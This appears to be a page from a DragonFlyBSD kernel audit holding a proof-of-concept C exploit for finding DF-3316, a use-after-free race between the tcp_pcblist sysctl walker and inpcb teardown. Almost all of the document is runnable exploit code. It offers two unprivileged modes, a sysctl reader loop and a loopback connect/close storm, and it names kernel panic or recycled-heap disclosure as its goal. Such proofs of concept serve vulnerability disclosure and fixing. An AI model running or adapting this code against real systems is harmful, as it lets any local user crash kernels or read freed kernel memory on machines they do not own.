⬢ DragonFlyBSD Kernel Audit
DF-3316 / tcp_pcb_race.c
← back to finding ↓ download raw
/*
 * DF-3316 PoC -- tcp_pcblist() marker-dance race (DF-3315 twin with
 * FULLY UNPRIVILEGED churn).
 *
 * BUG (sys/netinet/tcp_subr.c:1261-1307):
 *   The sysctl walker (a USER thread migrated per-cpu via
 *   lwkt_migratecpu at 1265) advances its list marker with the same
 *   two-step, non-atomic dance as in_pcblist_range:
 *        inp = LIST_NEXT(marker, inp_list);      (1271)
 *        LIST_REMOVE(marker, inp_list);           (1276)
 *        LIST_INSERT_AFTER(inp, marker, inp_list);(1277)
 *   For tcp_pcblist GET_PCBINFO_TOKEN() is not even attempted -- the
 *   comment says it "depend[s] on being on the correct cpu to avoid
 *   races" -- which is only sound for code running inside the netisr,
 *   not for a preemptible user thread parked on it.  The mutator
 *   (tcp_close -> in_pcbdetach -> in_pcbremlists LIST_REMOVE +
 *   kfree(inp), in_pcb.c:265/1217-1225) runs in the owning netisr,
 *   driven here by an UNPRIVILEGED TCP connect/close storm on lo0
 *   (every close tears an inpcb out of tcbinfo[cpu].pcblisthead).
 *
 *   If a teardown preempts the walker inside the advance window and
 *   removes+frees `inp`, LIST_INSERT_AFTER writes the marker pointer
 *   INTO FREED M_PCB memory and the walk continues through a stale
 *   chain; subsequent inp->inp_flags / prison_xinpcb / bcopy(inp,...)
 *   / sotoxsocket operate on freed (possibly recycled) memory.
 *
 * MODES (both unprivileged):
 *   -r seconds      reader  : hammer `sysctl net.inet.tcp.pcblist`.
 *   -c seconds nconn churn : TCP connect/close storm against a
 *                            private lo0 listener (inpcb create/tear).
 *
 * SUCCESS CRITERION: kernel panic (marker/list corruption, KASSERT in
 * in_pcbremlists, wild deref) or recycled-heap garbage in dumped
 * xtcpcb records.  A clean exit means the nanosecond window was not
 * hit in this run (see DF-3315 for the empirical scheduler analysis).
 */
#include <sys/param.h>
#include <sys/sysctl.h>
#include <sys/socket.h>
#include <netinet/in.h>

#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <fcntl.h>

static volatile sig_atomic_t stop;

static void
onsig(int sig __unused)
{
	stop = 1;
}

static double
now(void)
{
	struct timespec ts;

	clock_gettime(CLOCK_MONOTONIC, &ts);
	return (ts.tv_sec + ts.tv_nsec / 1e9);
}

static void
reader(int seconds, int verbose)
{
	int mib[4];
	size_t miblen = 4;
	void *buf = NULL;
	size_t cap = 0;
	unsigned long dumps = 0, errs = 0, bytes = 0;
	double t0 = now(), t;

	if (sysctlnametomib("net.inet.tcp.pcblist", mib, &miblen) < 0) {
		perror("sysctlnametomib(net.inet.tcp.pcblist)");
		exit(1);
	}

	while (!stop && (t = now()) - t0 < seconds) {
		size_t need, len;
		int error;

		/* sizing pass: oldptr == NULL */
		need = 0;
		error = sysctl(mib, miblen, NULL, &need, NULL, 0);
		if (error)
			continue;
		if (need > cap) {
			free(buf);
			cap = need + need / 2 + 4096;
			buf = malloc(cap);
			if (buf == NULL) {
				perror("malloc");
				exit(1);
			}
		}
		len = cap;
		error = sysctl(mib, miblen, buf, &len, NULL, 0);
		if (error) {
			errs++;	/* ENOMEM when the list grew past our buffer */
			continue;
		}
		dumps++;
		bytes += len;
		if (verbose && (dumps % 20000) == 0)
			fprintf(stderr, "reader: %lu dumps (%lu bytes)\n",
			    dumps, bytes);
	}
	printf("reader: %lu dumps, %lu errors, %lu bytes in %.1fs "
	    "(%.0f dumps/s)\n", dumps, errs, bytes, now() - t0,
	    dumps / (now() - t0));
}

static void
churn(int seconds, int nconn)
{
	struct sockaddr_in la;
	int lst, *fds, i;
	unsigned long cycles = 0, fails = 0;
	double t0 = now();

	lst = socket(AF_INET, SOCK_STREAM, 0);
	if (lst < 0) {
		perror("socket(lst)");
		exit(1);
	}
	i = 1;
	setsockopt(lst, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i));
	memset(&la, 0, sizeof(la));
	la.sin_family = AF_INET;
	la.sin_len = sizeof(la);
	la.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	la.sin_port = 0;			/* ephemeral */
	if (bind(lst, (struct sockaddr *)&la, sizeof(la)) < 0) {
		perror("bind");
		exit(1);
	}
	if (listen(lst, 1024) < 0) {
		perror("listen");
		exit(1);
	}
	{
		struct sockaddr_in me;
		socklen_t ml = sizeof(me);
		getsockname(lst, (struct sockaddr *)&me, &ml);
		la = me;			/* listener's concrete address */
		printf("churn: listener on 127.0.0.1:%d\n",
		    ntohs(me.sin_port));
	}

	fds = malloc(nconn * sizeof(int));
	if (fds == NULL) {
		perror("malloc");
		exit(1);
	}
	for (i = 0; i < nconn; i++)
		fds[i] = -1;

	/* nonblocking listener so accept() can drain without blocking */
	i = fcntl(lst, F_GETFL, 0);
	fcntl(lst, F_SETFL, i | O_NONBLOCK);

	/* Each iteration drains pending completions (each accept+close is
	 * itself an inpcb teardown in netisr), then closes/reconnects one
	 * client connection.  Every close synchronously tears an inpcb out
	 * of tcbinfo[cpu].pcblisthead in the owning netisr (tcp_close ->
	 * in_pcbdetach -> LIST_REMOVE + kfree). */
	i = 0;
	while (!stop && now() - t0 < seconds) {
		int c;

		while ((c = accept(lst, NULL, NULL)) >= 0) {
			close(c);		/* server-side teardown */
			cycles++;
		}
		if (fds[i] >= 0) {
			/* established: close it (client-side teardown) */
			close(fds[i]);
			fds[i] = -1;
			cycles++;
		} else {
			fds[i] = socket(AF_INET, SOCK_STREAM, 0);
			if (fds[i] >= 0 &&
			    connect(fds[i], (struct sockaddr *)&la,
			    sizeof(la)) < 0) {
				close(fds[i]);
				fds[i] = -1;
				fails++;
			}
		}
		i = (i + 1) % nconn;
	}
	printf("churn: %lu close cycles (%.0f/s), %lu fails\n",
	    cycles, cycles / (now() - t0), fails);
	for (i = 0; i < nconn; i++)
		if (fds[i] >= 0)
			close(fds[i]);
	close(lst);
}

static void
usage(void)
{
	fprintf(stderr, "usage: tcp_pcb_race -r seconds [-v]\n"
	    "       tcp_pcb_race -c seconds nconn\n");
	exit(2);
}

int
main(int argc, char **argv)
{
	int ch, seconds = 60, nconn = 32, verbose = 0;
	void (*mode)(int, int) = NULL;

	while ((ch = getopt(argc, argv, "r:c:v")) != -1) {
		switch (ch) {
		case 'r':
			mode = reader;
			verbose = 0;
			seconds = atoi(optarg);
			nconn = 0;
			break;
		case 'c':
			mode = churn;
			seconds = atoi(optarg);
			nconn = (optind < argc) ? atoi(argv[optind]) : 32;
			break;
		case 'v':
			verbose = 1;
			break;
		default:
			usage();
		}
	}
	if (mode == NULL)
		usage();
	signal(SIGINT, onsig);
	signal(SIGTERM, onsig);
	mode(seconds, nconn ? nconn : verbose);
	return (0);
}